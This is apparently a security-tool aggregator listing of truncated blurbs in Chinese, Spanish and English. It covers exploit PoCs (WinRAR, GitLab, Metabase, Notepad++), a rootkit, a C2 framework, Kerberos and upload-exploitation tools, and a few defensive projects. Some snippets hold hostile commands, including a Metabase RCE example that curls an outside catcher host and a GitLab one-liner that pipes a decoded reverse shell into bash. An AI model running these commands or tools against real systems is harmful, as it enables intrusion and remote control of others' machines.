TryHack3M-Bricks-Heist

target:10.201.6.98 枚举 root@kitploit: nmap -A 10.201.6.98 由于有一个名为“brick by brick”的WordPress站点，且这个房间的名称是brick，这很可能就是我们能找到漏洞的地方 所以让我们枚举WordPress root@kitploit: wpscan --url https://bricks.thm --disable-tls-checks 运行 tls-checks 会失败 这里又出现对brick的引用，让我们看看这个主题是否有漏洞 搜索 bricks 1.9.5...

rpcfirewall

I Need More Information Check out our RPC Firewall blog post or our BlackHat talk to gain better understanding of RPC, RPC attacks, and the solution: RPC Firewall. Join our |Zero| Labs Slack Community workspace for any questions, issues, or simply to shout out. We would love to hear from you also...

CVE-2018-20250

exp para Extrayendo ejecución de código de Winrar poc por Ridter ¿cómo se usa? solo necesitas instalar python 3.7, preparar un archivo malicioso que quieras ejecutar, configurar los valores que quieras, ¡este script exp generará el archivo comprimido malicioso automáticamente! 1. establece los...

ike-scan

ike-scan Discover and fingerprint IKE hosts IPsec VPN Servers Table of Contents Building and Installing Overview Usage Implementation Details Host Input and Memory Requirements Rate Limiting Cookie Generation and Remote Host Identification IKE Packet Details Backoff Fingerprinting Program Output...

ike-scan

ike-scan 发现并识别 IKE 主机（IPsec VPN 服务器） 目录 构建与安装 概述 使用说明 实现细节 主机输入与内存需求 速率限制 Cookie 生成与远程主机识别 IKE 数据包细节 后退指纹识别 程序输出 示例 支持的平台 进一步阅读与 RFC 联系方式 构建与安装 ike-scan 使用标准的 GNU autoconf 和 automake 工具，因此安装过程如下： 运行 git clone https://github.com/royhills/ike-scan.git 获取项目源码 运行 cd ike-scan 进入源码目录 运行 autoreconf...

huskyCI

本文亦可在巴西葡萄牙语中阅读。 简介 huskyCI 是一个开源工具，负责编排安全测试，并将所有结果集中到一个数据库中，以便进行进一步的分析和指标统计。它可以对 Python（Bandit 和 Safety）、Ruby（Brakeman）、JavaScript（Npm Audit 和 Yarn Audit）、Golang（Gosec）、Java（SpotBugs 与 Find Sec Bugs）以及 HCL（TFSec）进行静态安全分析。它还可以使用 GitLeaks 审计仓库中是否存在诸如 AWS 密钥、私钥 SSH 密钥等机密信息。 工作原理是什么？ 开发者可以在其 CI...

CVE-2022-0185-Case-Study

CVE-2022-0185 案例研究 本案例研究是ECE 9069课程“黑客入门”的一个作业成果：https://whisperlab.org/introduction-to-hacking/ CVE-2022-0185 概述 CVE-2022-0185 是一个基于堆的缓冲区溢出漏洞，存在于 Linux 内核文件系统上下文（Filesystem Context）功能中的 legacyparseparam 函数验证所提供的参数长度的方式中。一个非特权本地用户（如果启用了非特权用户命名空间，则不需要；否则需要命名空间的 CAPSYSADMIN 权限），能够打开一个不支持文件系统上下文...

RootKit

这是一个在 ubuntu-16.04.6-desktop-amd64 Linux 4.4 上测试过的 rootkit，但应该很容易移植到不同的内核版本。 视频链接 -- https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing 安装 克隆仓库 root@kitploit: git clone https://github.com/Asekon/RootKit 进入文件夹 root@kitploit: cd RootKit 编译 root@kitploit: sudo make 以...

exploiting-cve-2017-5123

利用 CVE-2017-5123 简介 本仓库是对发表在 MISC Magazine 96 上的文章的补充。 我们成功地在启用了 SMEP/SMAP 和 KASLR 的虚拟机上，以可靠的方式提升了权限。但应注意，系统会处于不稳定状态，极有可能发生 oops。 本仓库内容 在 configs/ 文件夹中，你可以找到 Linux 内核和 Busybox 的配置文件，每个文件与默认配置略有不同。 binaries/ 文件夹包含所有预构建的二进制文件，你需要它们来复现我们的测试环境，例如一个完整的 rootfs，可直接用于 QEMU。 linux-stable 是一个指向存在漏洞的 Linux...

goblob

Goblob 🫐 Goblob is a lightweight and fast enumeration tool designed to aid in the discovery of sensitive information exposed publicy in Azure blobs, which can be useful for various research purposes such as vulnerability assessments, penetration testing, and reconnaissance. Warning. Goblob will...

emp3r0r v4.15.0

emp3r0r A self-healing, memory-only C2 for Linux and Windows — agents that survive broken links, never touch disk, and script their way through the Win32 API. What is emp3r0r? emp3r0r is a post-exploitation framework and C2 built for Linux and Windows environments where stealth and resilience...

CVE-2023-38646

CVE-2023-38646 针对 Metabase RCE 漏洞 CVE-2023-38646 的自动化工具。更多信息（POC、Dork）请访问 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 如何使用 single.py root@kitploit: python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 或 root@kitploit: python3 single.py...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC de bash en una línea para RCE preautenticado en GitLab CVE-2021-22205 root@kitploit: t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

Dirty_Stream-Android-POC

免责声明 本项目仅供教育目的使用。作者不支持或认可任何非法或恶意活动。使用此漏洞完全由您自行承担风险。作者不对因使用此代码而产生的任何损害或法律后果承担责任。 DirtyStream-Android-POC 这是针对 MI-File Explorer V1-210567 版本的利用程序。它会将 pwned.txt 写入 "/data/user/0/com.mi.android.globalFileexplorer/sharedprefs" 目录下。...

kerberoast

🚩 Sponsors If you like this project, consider sponsoring it on GitHub! Sponsors kerberoast Kerberos attack toolkit -pure python- Install pip3 install kerberoast Prereqirements Python 3.6 See requirements.txt For the impatient IMPORTANT: the accepted target url formats for LDAP and Kerberos are th...

notepad-v8.8.1-LPE-CVE-

notepad-v8.8.1-LPE-CVE- CVE-2025-49144 Notepad++ v8.8.1 SYSTEM-level POC 📌 CVE-2025-49144 是一个高危本地权限提升漏洞，存在于 Notepad++ v8.8.1 及之前版本的安装程序中。该漏洞源于安装过程中不受控制的可执行文件搜索路径行为，允许本地攻击者通过将恶意可执行文件放置在安装程序所在的同一目录中，获得系统级权限。 ⚙️ 漏洞原理 – 逐步说明： 🧱 1. 安装程序出了什么问题？ Notepad++ 安装程序（v8.8.2 之前）调用 regsvr32.exe 注册某些组件，但未提供完整路径（如...

fuxploider

fuxploider Fuxploider is an open source penetration testing tool that automates the process of detecting and exploiting file upload forms flaws. This tool is able to detect the file types allowed to be uploaded and is able to detect which technique will work best to upload web shells or any...

Gin-Vue-admin-poc-CVE-2022-21660

Gin-Vue-admin垂直越权漏洞与代码分析-CVE-2022-21660 一、前言 欢迎各位大佬们给该项目点一个start root@kitploit: https://github.com/flipped-aurora/gin-vue-admin/ 文章写完了之后，申请CVE有一些麻烦，不过好在还是申请到了，github的员工响应迅速 ps 申请CVE前，已经提交了CNVD 二、环境搭建 按照官方教程 root@kitploit: git clone https://github.com/flipped-aurora/gin-vue-admin.git 随后进入server目录...

barrido

barrido 控制台工具，用于发现 Web 应用程序路径。 仍处于 alpha 版本。 示例 多 URL 暴力破解： root@kitploit: $ cat urls.txt https://target.a.com https://target.b.com https://target.c.com $ barrido urls.txt wordlists/quickhits.txt -se | tee curiouspaths.txt https://target.c.com/manager/ 401 https://target.a.com/.git 200...

PichichiH0ll0wer

PichichiH0ll0wer PichichiH0ll0wer 关于 功能 注入方法 安装 用法 致谢 关于 --== 仅限PE的Nim编写的进程空心化加载器 ==-- 我构建PichichiH0ll0wer是为了学习并做出贡献，当然。但也因为我非常厌倦到处都是shellcode。加载PE可能不那么隐蔽，我知道，但它仍然高效，并且比每次将PE有效载荷转换为shellcode（并不总是顺利）更方便。此外，PichichiH0ll0wer有一些功能来保护你的有效载荷。仅支持x64 EXE。 功能 可配置构建器 有效载荷在空心加载器中加密并压缩（可选分割） 支持使用多个进程进行分割注入...